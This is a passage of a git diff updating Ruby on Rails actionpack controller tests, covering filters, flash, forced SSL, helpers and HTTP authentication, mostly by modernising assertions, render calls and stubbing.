test_running_collection_condition_actions test_process(ConditionalCollectionFilterController) - assert_equal %w( ensure_login ), assigns["ran_filter"] + assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter) test_process(ConditionalCollectionFilterController, "show_without_action") - assert_nil assigns["ran_filter"] + assert_not @controller.instance_variable_defined?(:@ran_filter) test_process(ConditionalCollectionFilterController, "another_action") - assert_nil assigns["ran_filter"] + assert_not @controller.instance_variable_defined?(:@ran_filter) end def test_running_only_condition_actions test_process(OnlyConditionSymController) - assert_equal %w( ensure_login ), assigns["ran_filter"] + assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter) test_process(OnlyConditionSymController, "show_without_action") - assert_nil assigns["ran_filter"] + assert_not @controller.instance_variable_defined?(:@ran_filter) test_process(OnlyConditionProcController) - assert assigns["ran_proc_action"] + assert @controller.instance_variable_get(:@ran_proc_action) test_process(OnlyConditionProcController, "show_without_action") - assert !assigns["ran_proc_action"] + assert_not @controller.instance_variable_defined?(:@ran_proc_action) test_process(OnlyConditionClassController) - assert assigns["ran_class_action"] + assert @controller.instance_variable_get(:@ran_class_action) test_process(OnlyConditionClassController, "show_without_action") - assert !assigns["ran_class_action"] + assert_not @controller.instance_variable_defined?(:@ran_class_action) end def test_running_except_condition_actions test_process(ExceptConditionSymController) - assert_equal %w( ensure_login ), assigns["ran_filter"] + assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter) test_process(ExceptConditionSymController, "show_without_action") - assert_nil assigns["ran_filter"] + assert_not @controller.instance_variable_defined?(:@ran_filter) test_process(ExceptConditionProcController) - assert assigns["ran_proc_action"] + assert @controller.instance_variable_get(:@ran_proc_action) test_process(ExceptConditionProcController, "show_without_action") - assert !assigns["ran_proc_action"] + assert_not @controller.instance_variable_defined?(:@ran_proc_action) test_process(ExceptConditionClassController) - assert assigns["ran_class_action"] + assert @controller.instance_variable_get(:@ran_class_action) test_process(ExceptConditionClassController, "show_without_action") - assert !assigns["ran_class_action"] + assert_not @controller.instance_variable_defined?(:@ran_class_action) end def test_running_only_condition_and_conditional_options test_process(OnlyConditionalOptionsFilter, "show") - assert_not assigns["ran_conditional_index_proc"] + assert_not @controller.instance_variable_defined?(:@ran_conditional_index_proc) end def test_running_before_and_after_condition_actions test_process(BeforeAndAfterConditionController) - assert_equal %w( ensure_login clean_up_tmp), assigns["ran_filter"] + assert_equal %w( ensure_login clean_up_tmp), @controller.instance_variable_get(:@ran_filter) test_process(BeforeAndAfterConditionController, "show_without_action") - assert_nil assigns["ran_filter"] + assert_not @controller.instance_variable_defined?(:@ran_filter) end def test_around_action test_process(AroundFilterController) - assert assigns["before_ran"] - assert assigns["after_ran"] + assert @controller.instance_variable_get(:@before_ran) + assert @controller.instance_variable_get(:@after_ran) end def test_before_after_class_action test_process(BeforeAfterClassFilterController) - assert assigns["before_ran"] - assert assigns["after_ran"] + assert @controller.instance_variable_get(:@before_ran) + assert @controller.instance_variable_get(:@after_ran) end def test_having_properties_in_around_action test_process(AroundFilterController) - assert_equal "before and after", assigns["execution_log"] + assert_equal "before and after", @controller.instance_variable_get(:@execution_log) end def test_prepending_and_appending_around_action @@ -723,33 +714,33 @@ class FilterTest < ActionController::TestCase def test_rendering_breaks_actioning_chain response = test_process(RenderingController) assert_equal "something else", response.body - assert !assigns["ran_action"] + assert_not @controller.instance_variable_defined?(:@ran_action) end def test_before_action_rendering_breaks_actioning_chain_for_after_action test_process(RenderingController) - assert_equal %w( before_action_rendering ), assigns["ran_filter"] - assert !assigns["ran_action"] + assert_equal %w( before_action_rendering ), @controller.instance_variable_get(:@ran_filter) + assert_not @controller.instance_variable_defined?(:@ran_action) end def test_before_action_redirects_breaks_actioning_chain_for_after_action test_process(BeforeActionRedirectionController) assert_response :redirect assert_equal "http://test.host/filter_test/before_action_redirection/target_of_redirection", redirect_to_url - assert_equal %w( before_action_redirects ), assigns["ran_filter"] + assert_equal %w( before_action_redirects ), @controller.instance_variable_get(:@ran_filter) end def test_before_action_rendering_breaks_actioning_chain_for_preprend_after_action test_process(RenderingForPrependAfterActionController) - assert_equal %w( before_action_rendering ), assigns["ran_filter"] - assert !assigns["ran_action"] + assert_equal %w( before_action_rendering ), @controller.instance_variable_get(:@ran_filter) + assert_not @controller.instance_variable_defined?(:@ran_action) end def test_before_action_redirects_breaks_actioning_chain_for_preprend_after_action test_process(BeforeActionRedirectionForPrependAfterActionController) assert_response :redirect assert_equal "http://test.host/filter_test/before_action_redirection_for_prepend_after_action/target_of_redirection", redirect_to_url - assert_equal %w( before_action_redirects ), assigns["ran_filter"] + assert_equal %w( before_action_redirects ), @controller.instance_variable_get(:@ran_filter) end def test_actions_with_mixed_specialization_run_in_order @@ -766,35 +757,34 @@ class FilterTest < ActionController::TestCase def test_dynamic_dispatch %w(foo bar baz).each do |action| - request = ActionController::TestRequest.new - request.query_parameters[:choose] = action - response = DynamicDispatchController.action(action).call(request.env).last + @request.query_parameters[:choose] = action + response = DynamicDispatchController.action(action).call(@request.env).last assert_equal action, response.body end end def test_running_prepended_before_and_after_action test_process(PrependingBeforeAndAfterController) - assert_equal %w( before_all between_before_all_and_after_all after_all ), assigns["ran_filter"] + assert_equal %w( before_all between_before_all_and_after_all after_all ), @controller.instance_variable_get(:@ran_filter) end def test_skipping_and_limiting_controller test_process(SkippingAndLimitedController, "index") - assert_equal %w( ensure_login ), assigns["ran_filter"] + assert_equal %w( ensure_login ), @controller.instance_variable_get(:@ran_filter) test_process(SkippingAndLimitedController, "public") - assert_nil assigns["ran_filter"] + assert_not @controller.instance_variable_defined?(:@ran_filter) end def test_skipping_and_reordering_controller test_process(SkippingAndReorderingController, "index") - assert_equal %w( find_record ensure_login ), assigns["ran_filter"] + assert_equal %w( find_record ensure_login ), @controller.instance_variable_get(:@ran_filter) end def test_conditional_skipping_of_actions test_process(ConditionalSkippingController, "login") - assert_nil assigns["ran_filter"] + assert_not @controller.instance_variable_defined?(:@ran_filter) test_process(ConditionalSkippingController, "change_password") - assert_equal %w( ensure_login find_user ), assigns["ran_filter"] + assert_equal %w( ensure_login find_user ), @controller.instance_variable_get(:@ran_filter) test_process(ConditionalSkippingController, "login") assert !@controller.instance_variable_defined?("@ran_after_action") @@ -804,23 +794,23 @@ class FilterTest < ActionController::TestCase def test_conditional_skipping_of_actions_when_parent_action_is_also_conditional test_process(ChildOfConditionalParentController) - assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter'] + assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter) test_process(ChildOfConditionalParentController, 'another_action') - assert_nil assigns['ran_filter'] + assert_not @controller.instance_variable_defined?(:@ran_filter) end def test_condition_skipping_of_actions_when_siblings_also_have_conditions test_process(ChildOfConditionalParentController) - assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter'] + assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter) test_process(AnotherChildOfConditionalParentController) - assert_equal %w( conditional_in_parent_after ), assigns['ran_filter'] + assert_equal %w( conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter) test_process(ChildOfConditionalParentController) - assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), assigns['ran_filter'] + assert_equal %w( conditional_in_parent_before conditional_in_parent_after ), @controller.instance_variable_get(:@ran_filter) end def test_changing_the_requirements test_process(ChangingTheRequirementsController, "go_wild") - assert_nil assigns['ran_filter'] + assert_not @controller.instance_variable_defined?(:@ran_filter) end def test_a_rescuing_around_action @@ -829,27 +819,25 @@ class FilterTest < ActionController::TestCase response = test_process(RescuedController) end - assert response.success? + assert response.successful? assert_equal("I rescued this: #<FilterTest::ErrorToRescue: Something made the bad noise.>", response.body) end def test_actions_obey_only_and_except_for_implicit_actions test_process(ImplicitActionsController, 'show') - assert_equal 'Except', assigns(:except) - assert_nil assigns(:only) + assert_equal 'Except', @controller.instance_variable_get(:@except) + assert_not @controller.instance_variable_defined?(:@only) assert_equal 'show', response.body test_process(ImplicitActionsController, 'edit') - assert_equal 'Only', assigns(:only) - assert_nil assigns(:except) + assert_equal 'Only', @controller.instance_variable_get(:@only) + assert_not @controller.instance_variable_defined?(:@except) assert_equal 'edit', response.body end private def test_process(controller, action = "show") @controller = controller.is_a?(Class) ? controller.new : controller - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new process(action) end @@ -1010,8 +998,8 @@ class YieldingAroundFiltersTest < ActionController::TestCase def test_with_proc test_process(ControllerWithProcFilter,'no_raise') - assert assigns['before'] - assert assigns['after'] + assert @controller.instance_variable_get(:@before) + assert @controller.instance_variable_get(:@after) end def test_nested_actions @@ -1032,12 +1020,12 @@ class YieldingAroundFiltersTest < ActionController::TestCase def test_action_order_with_all_action_types test_process(ControllerWithAllTypesOfFilters,'no_raise') - assert_equal 'before around (before yield) around_again (before yield) around_again (after yield) after around (after yield)', assigns['ran_filter'].join(' ') + assert_equal 'before around (before yield) around_again (before yield) around_again (after yield) after around (after yield)', @controller.instance_variable_get(:@ran_filter).join(' ') end def test_action_order_with_skip_action_method test_process(ControllerWithTwoLessFilters,'no_raise') - assert_equal 'before around (before yield) around (after yield)', assigns['ran_filter'].join(' ') + assert_equal 'before around (before yield) around (after yield)', @controller.instance_variable_get(:@ran_filter).join(' ') end def test_first_action_in_multiple_before_action_chain_halts @@ -1063,7 +1051,7 @@ class YieldingAroundFiltersTest < ActionController::TestCase def test_skipping_with_skip_action_callback test_process(SkipFilterUsingSkipActionCallback,'no_raise') - assert_equal 'before around (before yield) around (after yield)', assigns['ran_filter'].join(' ') + assert_equal 'before around (before yield) around (after yield)', @controller.instance_variable_get(:@ran_filter).join(' ') end def test_deprecated_skip_action_callback diff --git a/actionpack/test/controller/flash_hash_test.rb b/actionpack/test/controller/flash_hash_test.rb index 081288ef21..f87077dd86 100644 --- a/actionpack/test/controller/flash_hash_test.rb +++ b/actionpack/test/controller/flash_hash_test.rb @@ -57,10 +57,10 @@ module ActionDispatch def test_to_session_value @hash['foo'] = 'bar' - assert_equal({'flashes' => {'foo' => 'bar'}}, @hash.to_session_value) + assert_equal({ 'discard' => [], 'flashes' => { 'foo' => 'bar' } }, @hash.to_session_value) @hash.now['qux'] = 1 - assert_equal({'flashes' => {'foo' => 'bar'}}, @hash.to_session_value) + assert_equal({ 'flashes' => { 'foo' => 'bar' }, 'discard' => [] }, @hash.to_session_value) @hash.discard('foo') assert_equal(nil, @hash.to_session_value) diff --git a/actionpack/test/controller/flash_test.rb b/actionpack/test/controller/flash_test.rb index 0ff0a1ef61..eef48e8480 100644 --- a/actionpack/test/controller/flash_test.rb +++ b/actionpack/test/controller/flash_test.rb @@ -57,7 +57,7 @@ class FlashTest < ActionController::TestCase def std_action @flash_copy = {}.update(flash) - render :nothing => true + head :ok end def filter_halting_action @@ -103,54 +103,55 @@ class FlashTest < ActionController::TestCase get :set_flash get :use_flash - assert_equal "hello", assigns["flash_copy"]["that"] - assert_equal "hello", assigns["flashy"] + assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"] + assert_equal "hello", @controller.instance_variable_get(:@flashy) get :use_flash - assert_nil assigns["flash_copy"]["that"], "On second flash" + assert_nil @controller.instance_variable_get(:@flash_copy)["that"], "On second flash" end def test_keep_flash get :set_flash get :use_flash_and_keep_it - assert_equal "hello", assigns["flash_copy"]["that"] - assert_equal "hello", assigns["flashy"] + assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"] + assert_equal "hello", @controller.instance_variable_get(:@flashy) get :use_flash - assert_equal "hello", assigns["flash_copy"]["that"], "On second flash" + assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"], "On second flash" get :use_flash - assert_nil assigns["flash_copy"]["that"], "On third flash" + assert_nil @controller.instance_variable_get(:@flash_copy)["that"], "On third flash" end def test_flash_now get :set_flash_now - assert_equal "hello", assigns["flash_copy"]["that"] - assert_equal "bar" , assigns["flash_copy"]["foo"] - assert_equal "hello", assigns["flashy"] + assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"] + assert_equal "bar", @controller.instance_variable_get(:@flash_copy)["foo"] + assert_equal "hello", @controller.instance_variable_get(:@flashy) get :attempt_to_use_flash_now - assert_nil assigns["flash_copy"]["that"] - assert_nil assigns["flash_copy"]["foo"] - assert_nil assigns["flashy"] + assert_nil @controller.instance_variable_get(:@flash_copy)["that"] + assert_nil @controller.instance_variable_get(:@flash_copy)["foo"] + assert_nil @controller.instance_variable_get(:@flashy) end def test_update_flash get :set_flash get :use_flash_and_update_it - assert_equal "hello", assigns["flash_copy"]["that"] - assert_equal "hello again", assigns["flash_copy"]["this"] + assert_equal "hello", @controller.instance_variable_get(:@flash_copy)["that"] + assert_equal "hello again", @controller.instance_variable_get(:@flash_copy)["this"] get :use_flash - assert_nil assigns["flash_copy"]["that"], "On second flash" - assert_equal "hello again", assigns["flash_copy"]["this"], "On second flash" + assert_nil @controller.instance_variable_get(:@flash_copy)["that"], "On second flash" + assert_equal "hello again", + @controller.instance_variable_get(:@flash_copy)["this"], "On second flash" end def test_flash_after_reset_session get :use_flash_after_reset_session - assert_equal "hello", assigns["flashy_that"] - assert_equal "good-bye", assigns["flashy_this"] - assert_nil assigns["flashy_that_reset"] + assert_equal "hello", @controller.instance_variable_get(:@flashy_that) + assert_equal "good-bye", @controller.instance_variable_get(:@flashy_this) + assert_nil @controller.instance_variable_get(:@flashy_that_reset) end def test_does_not_set_the_session_if_the_flash_is_empty @@ -160,13 +161,13 @@ class FlashTest < ActionController::TestCase def test_sweep_after_halted_action_chain get :std_action - assert_nil assigns["flash_copy"]["foo"] + assert_nil @controller.instance_variable_get(:@flash_copy)["foo"] get :filter_halting_action - assert_equal "bar", assigns["flash_copy"]["foo"] + assert_equal "bar", @controller.instance_variable_get(:@flash_copy)["foo"] get :std_action # follow redirection - assert_equal "bar", assigns["flash_copy"]["foo"] + assert_equal "bar", @controller.instance_variable_get(:@flash_copy)["foo"] get :std_action - assert_nil assigns["flash_copy"]["foo"] + assert_nil @controller.instance_variable_get(:@flash_copy)["foo"] end def test_keep_and_discard_return_values @@ -322,13 +323,15 @@ class FlashIntegrationTest < ActionDispatch::IntegrationTest def with_test_route_set with_routing do |set| set.draw do - get ':action', :to => FlashIntegrationTest::TestController + ActiveSupport::Deprecation.silence do + get ':action', :to => FlashIntegrationTest::TestController + end end @app = self.class.build_app(set) do |middleware| middleware.use ActionDispatch::Session::CookieStore, :key => SessionKey middleware.use ActionDispatch::Flash - middleware.delete "ActionDispatch::ShowExceptions" + middleware.delete ActionDispatch::ShowExceptions end yield diff --git a/actionpack/test/controller/force_ssl_test.rb b/actionpack/test/controller/force_ssl_test.rb index 04222745d9..03a9c9ae78 100644 --- a/actionpack/test/controller/force_ssl_test.rb +++ b/actionpack/test/controller/force_ssl_test.rb @@ -2,11 +2,11 @@ require 'abstract_unit' class ForceSSLController < ActionController::Base def banana - render :text => "monkey" + render plain: "monkey" end def cheeseburger - render :text => "sikachu" + render plain: "sikachu" end end @@ -26,7 +26,7 @@ class ForceSSLCustomOptions < ForceSSLController force_ssl :notice => 'Foo, Bar!', :only => :redirect_notice def force_ssl_action - render :text => action_name + render plain: action_name end alias_method :redirect_host, :force_ssl_action @@ -40,15 +40,15 @@ class ForceSSLCustomOptions < ForceSSLController alias_method :redirect_notice, :force_ssl_action def use_flash - render :text => flash[:message] + render plain: flash[:message] end def use_alert - render :text => flash[:alert] + render plain: flash[:alert] end def use_notice - render :text => flash[:notice] + render plain: flash[:notice] end end @@ -85,10 +85,10 @@ end class RedirectToSSL < ForceSSLController def banana - force_ssl_redirect || render(:text => 'monkey') + force_ssl_redirect || render(plain: 'monkey') end def cheeseburger - force_ssl_redirect('secure.cheeseburger.host') || render(:text => 'ihaz') + force_ssl_redirect('secure.cheeseburger.host') || render(plain: 'ihaz') end end @@ -240,8 +240,8 @@ class ForceSSLFlashTest < ActionController::TestCase @request.env.delete('PATH_INFO') get :use_flash - assert_equal "hello", assigns["flash_copy"]["that"] - assert_equal "hello", assigns["flashy"] + assert_equal "hello", @controller.instance_variable_get("@flash_copy")["that"] + assert_equal "hello", @controller.instance_variable_get("@flashy") end end @@ -315,10 +315,19 @@ class RedirectToSSLTest < ActionController::TestCase assert_equal "https://secure.cheeseburger.host/redirect_to_ssl/cheeseburger", redirect_to_url end - def test_banana_does_not_redirect_if_already_https + def test_cheeseburgers_does_not_redirect_if_already_https request.env['HTTPS'] = 'on' get :cheeseburger assert_response 200 assert_equal 'ihaz', response.body end end + +class ForceSSLControllerLevelTest < ActionController::TestCase + def test_no_redirect_websocket_ssl_request + request.env['rack.url_scheme'] = 'wss' + request.env['Upgrade'] = 'websocket' + get :cheeseburger + assert_response 200 + end +end diff --git a/actionpack/test/controller/form_builder_test.rb b/actionpack/test/controller/form_builder_test.rb new file mode 100644 index 0000000000..99eeaf9ab6 --- /dev/null +++ b/actionpack/test/controller/form_builder_test.rb @@ -0,0 +1,17 @@ +require 'abstract_unit' + +class FormBuilderController < ActionController::Base + class SpecializedFormBuilder < ActionView::Helpers::FormBuilder ; end + + default_form_builder SpecializedFormBuilder +end + +class ControllerFormBuilderTest < ActiveSupport::TestCase + setup do + @controller = FormBuilderController.new + end + + def test_default_form_builder_assigned + assert_equal FormBuilderController::SpecializedFormBuilder, @controller.default_form_builder + end +end diff --git a/actionpack/test/controller/helper_test.rb b/actionpack/test/controller/helper_test.rb index e263ed341f..ef85e141a0 100644 --- a/actionpack/test/controller/helper_test.rb +++ b/actionpack/test/controller/helper_test.rb @@ -73,14 +73,8 @@ module LocalAbcHelper end class HelperPathsTest < ActiveSupport::TestCase - def setup - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new - end - def test_helpers_paths_priority - request = ActionController::TestRequest.new - responses = HelpersPathsController.action(:index).call(request.env) + responses = HelpersPathsController.action(:index).call(ActionController::TestRequest::DEFAULT_ENV.dup) # helpers1_pack was given as a second path, so pack1_helper should be # included as the second one @@ -141,27 +135,16 @@ class HelperTest < ActiveSupport::TestCase end def call_controller(klass, action) - request = ActionController::TestRequest.new - klass.action(action).call(request.env) + klass.action(action).call(ActionController::TestRequest::DEFAULT_ENV.dup) end def test_helper_for_nested_controller assert_equal 'hello: Iz guuut!', call_controller(Fun::GamesController, "render_hello_world").last.body - # request = ActionController::TestRequest.new - # - # resp = Fun::GamesController.action(:render_hello_world).call(request.env) - # assert_equal 'hello: Iz guuut!', resp.last.body end def test_helper_for_acronym_controller assert_equal "test: baz", call_controller(Fun::PdfController, "test").last.body - # - # request = ActionController::TestRequest.new - # response = ActionController::TestResponse.new - # request.action = 'test' - # - # assert_equal 'test: baz', Fun::PdfController.process(request, response).body end def test_default_helpers_only @@ -224,6 +207,22 @@ class HelperTest < ActiveSupport::TestCase assert methods.include?(:foobar) end + def test_helper_proxy_in_instance + methods = AllHelpersController.new.helpers.methods + + # Action View + assert_includes methods, :pluralize + + # abc_helper.rb + assert_includes methods, :bare_a + + # fun/games_helper.rb + assert_includes methods, :stratego + + # fun/pdf_helper.rb + assert_includes methods, :foobar + end + def test_helper_proxy_config AllHelpersController.config.my_var = 'smth' @@ -249,7 +248,7 @@ class HelperTest < ActiveSupport::TestCase end -class IsolatedHelpersTest < ActiveSupport::TestCase +class IsolatedHelpersTest < ActionController::TestCase class A < ActionController::Base def index render :inline => '<%= shout %>' @@ -273,13 +272,11 @@ class IsolatedHelpersTest < ActiveSupport::TestCase end def call_controller(klass, action) - request = ActionController::TestRequest.new - klass.action(action).call(request.env) + klass.action(action).call(@request.env) end def setup - @request = ActionController::TestRequest.new - @response = ActionController::TestResponse.new + super @request.action = 'index' end diff --git a/actionpack/test/controller/http_basic_authentication_test.rb b/actionpack/test/controller/http_basic_authentication_test.rb index 20962a90cb..adcf259317 100644 --- a/actionpack/test/controller/http_basic_authentication_test.rb +++ b/actionpack/test/controller/http_basic_authentication_test.rb @@ -5,23 +5,28 @@ class HttpBasicAuthenticationTest < ActionController::TestCase before_action :authenticate, only: :index before_action :authenticate_with_request, only: :display before_action :authenticate_long_credentials, only: :show + before_action :auth_with_special_chars, only: :special_creds http_basic_authenticate_with :name => "David", :password => "Goliath", :only => :search def index - render :text => "Hello Secret" + render plain: "Hello Secret" end def display - render :text => 'Definitely Maybe' + render plain: 'Definitely Maybe' if @logged_in end def show - render :text => 'Only for loooooong credentials' + render plain: 'Only for loooooong credentials' + end + + def special_creds + render plain: 'Only for special credentials' end def search - render :text => 'All inline' + render plain: 'All inline' end private @@ -36,7 +41,13 @@ class HttpBasicAuthenticationTest < ActionController::TestCase if authenticate_with_http_basic { |username, password| username == 'pretty' && password == 'please' } @logged_in = true else - request_http_basic_authentication("SuperSecret") + request_http_basic_authentication("SuperSecret", "Authentication Failed\n") + end + end + + def auth_with_special_chars + authenticate_or_request_with_http_basic do |username, password| + username == 'login!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t' && password == 'pwd:!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t' end end @@ -100,11 +111,19 @@ class HttpBasicAuthenticationTest < ActionController::TestCase assert_no_match(/\n/, result) end + test "successful authentication with uppercase authorization scheme" do + @request.env['HTTP_AUTHORIZATION'] = "BASIC #{::Base64.encode64("lifo:world")}" + get :index + + assert_response :success + assert_equal 'Hello Secret', @response.body, 'Authentication failed when authorization scheme BASIC' + end + test "authentication request without credential" do get :display assert_response :unauthorized - assert_equal "HTTP Basic: Access denied.\n", @response.body + assert_equal "Authentication Failed\n", @response.body assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate'] end @@ -113,7 +132,7 @@ class HttpBasicAuthenticationTest < ActionController::TestCase get :display assert_response :unauthorized - assert_equal "HTTP Basic: Access denied.\n", @response.body + assert_equal "Authentication Failed\n", @response.body assert_equal 'Basic realm="SuperSecret"', @response.headers['WWW-Authenticate'] end @@ -122,10 +141,17 @@ class HttpBasicAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end + test "authentication request with valid credential special chars" do + @request.env['HTTP_AUTHORIZATION'] = encode_credentials('login!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t', 'pwd:!@#$%^&*()_+{}[];"\',./<>?`~ \n\r\t') + get :special_creds + + assert_response :success + assert_equal 'Only for special credentials', @response.body + end + test "authenticate with class method" do @request.env['HTTP_AUTHORIZATION'] = encode_credentials('David', 'Goliath') get :search diff --git a/actionpack/test/controller/http_digest_authentication_test.rb b/actionpack/test/controller/http_digest_authentication_test.rb index 52a0bc9aa3..f06912bd5a 100644 --- a/actionpack/test/controller/http_digest_authentication_test.rb +++ b/actionpack/test/controller/http_digest_authentication_test.rb @@ -10,11 +10,11 @@ class HttpDigestAuthenticationTest < ActionController::TestCase 'dhh' => ::Digest::MD5::hexdigest(["dhh","SuperSecret","secret"].join(":"))} def index - render :text => "Hello Secret" + render plain: "Hello Secret" end def display - render :text => 'Definitely Maybe' + render plain: 'Definitely Maybe' if @logged_in end private @@ -124,7 +124,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -134,7 +133,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -144,7 +142,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -156,7 +153,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -167,7 +163,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -180,7 +175,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -191,7 +185,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -201,7 +194,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase put :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end @@ -244,7 +236,6 @@ class HttpDigestAuthenticationTest < ActionController::TestCase get :display assert_response :success - assert assigns(:logged_in) assert_equal 'Definitely Maybe', @response.body end diff --git a/actionpack/test/controller/http_token_authentication_test.rb b/actionpack/test/controller/http_token_authentication_test.rb index a758df2ec6..98e3c891a7 100644 --- a/actionpack/test/controller/http_token_authentication_test.rb +++ b/actionpack/test/controller/http_token_authentication_test.rb @@ -7,15 +7,15 @@ class HttpTokenAuthenticationTest < ActionController::TestCase before_action :authenticate_long_credentials, only: :show def index - render :text => "Hello Secret" + render plain: "Hello Secret" end def display - render :text => 'Definitely Maybe' + render plain: 'Definitely Maybe' end def show - render :text => 'Only for loooooong credentials' + render plain: 'Only for loooooong credentials' end private @@ -30,7 +30,7 @@ class HttpTokenAuthenticationTest < ActionController::TestCase if authenticate_with_http_token { |token, options| token == '"quote" pretty' && options[:algorithm] == 'test' } @logged_in = true else - request_http_token_authentication("SuperSecret") + request_http_token_authentication("SuperSecret", "Authentication Failed\n") end end @@ -80,18 +80,33 @@ class HttpTokenAuthenticationTest < ActionController::TestCase end test "authentication request with badly formatted header" do - @request.env['HTTP_AUTHORIZATION'] = "Token foobar" + @request.env['HTTP_AUTHORIZATION'] = 'Token token$"lifo"' get :index assert_response :unauthorized assert_equal "HTTP Token: Access denied.\n", @response.body, "Authentication header was not properly parsed" end + test "successful authentication request with Bearer instead of Token" do + @request.env['HTTP_AUTHORIZATION'] = 'Bearer lifo' + get :index + + assert_response :success + end + + test "authentication request with tab in header" do + @request.env['HTTP_AUTHORIZATION'] = "Token\ttoken=\"lifo\"" + get :index + + assert_response :success + assert_equal 'Hello Secret', @response.body + end + test "authentication request without credential" do get :display assert_response :unauthorized - assert_equal "HTTP Token: Access denied.\n", @response.body + assert_equal "Authentication Failed\n", @response.body assert_equal 'Token realm="SuperSecret"', @response.headers['WWW-Authenticate'] end @@ -100,7 +115,7 @@ class HttpTokenAuthenticationTest < ActionController::TestCase get :display assert_response :unauthorized - assert_equal "HTTP Token: Access denied.\n", @response.body + assert_equal "Authentication Failed\n", @response.body assert_equal 'Token realm="SuperSecret"', @response.headers['WWW-Authenticate'] end diff --git a/actionpack/test/controller/integration_test.rb b/actionpack/test/controller/integration_test.rb index a87059bee4..97571c1308 100644 --- a/actionpack/test/controller/integration_test.rb +++ b/actionpack/test/controller/integration_test.rb @@ -26,297 +26,343 @@ class SessionTest < ActiveSupport::TestCase end def test_follow_redirect_raises_when_no_redirect - @session.stubs(:redirect?).returns(false) - assert_raise(RuntimeError) { @session.follow_redirect! } + @session.stub :redirect?, false do + assert_raise(RuntimeError) { @session.follow_redirect! } + end end def test_request_via_redirect_uses_given_method path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"} - @session.expects(:process).with(:put, path, params: args, headers: headers) - @session.stubs(:redirect?).returns(false) - @session.request_via_redirect(:put, path, params: args, headers: headers) + assert_called_with @session, :process, [:put, path, params: args, headers: headers] do + @session.stub :redirect?, false do + assert_deprecated { @session.request_via_redirect(:put, path, params: args, headers: headers) } + end + end end def test_deprecated_request_via_redirect_uses_given_method path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" } - @session.expects(:process).with(:put, path, params: args, headers: headers) - @session.stubs(:redirect?).returns(false) - assert_deprecated { @session.request_via_redirect(:put, path, args, headers) } + assert_called_with @session, :process, [:put, path, params: args, headers: headers] do + @session.stub :redirect?, false do + assert_deprecated { @session.request_via_redirect(:put, path, args, headers) } + end + end end def test_request_via_redirect_follows_redirects path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"} - @session.stubs(:redirect?).returns(true, true, false) - @session.expects(:follow_redirect!).times(2) - @session.request_via_redirect(:get, path, params: args, headers: headers) + value_series = [true, true, false] + assert_called @session, :follow_redirect!, times: 2 do + @session.stub :redirect?, ->{ value_series.shift } do + assert_deprecated { @session.request_via_redirect(:get, path, params: args, headers: headers) } + end + end end def test_request_via_redirect_returns_status path = "/somepath"; args = {:id => '1'}; headers = {"X-Test-Header" => "testvalue"} - @session.stubs(:redirect?).returns(false) - @session.stubs(:status).returns(200) - assert_equal 200, @session.request_via_redirect(:get, path, params: args, headers: headers) + @session.stub :redirect?, false do + @session.stub :status, 200 do + assert_deprecated do + assert_equal 200, @session.request_via_redirect(:get, path, params: args, headers: headers) + end + end + end end def test_deprecated_get_via_redirect path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" } - @session.expects(:request_via_redirect).with(:get, path, args, headers) - assert_deprecated do - @session.get_via_redirect(path, args, headers) + assert_called_with @session, :request_via_redirect, [:get, path, args, headers] do + assert_deprecated do + @session.get_via_redirect(path, args, headers) + end end end def test_deprecated_post_via_redirect path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" } - @session.expects(:request_via_redirect).with(:post, path, args, headers) - assert_deprecated do - @session.post_via_redirect(path, args, headers) + assert_called_with @session, :request_via_redirect, [:post, path, args, headers] do + assert_deprecated do + @session.post_via_redirect(path, args, headers) + end end end def test_deprecated_patch_via_redirect path = "/somepath"; args = { id: '1' }; headers = { "X-Test-Header" => "testvalue" } - @session.expects(:request_via_redirect).with(:patch, path, args, headers) - assert_deprecated do - @session.patch_via_redirect(path, args, headers) + assert_called_with @session, :request_via_redirect, [:patch, path, args, headers] do + assert_deprecated do + 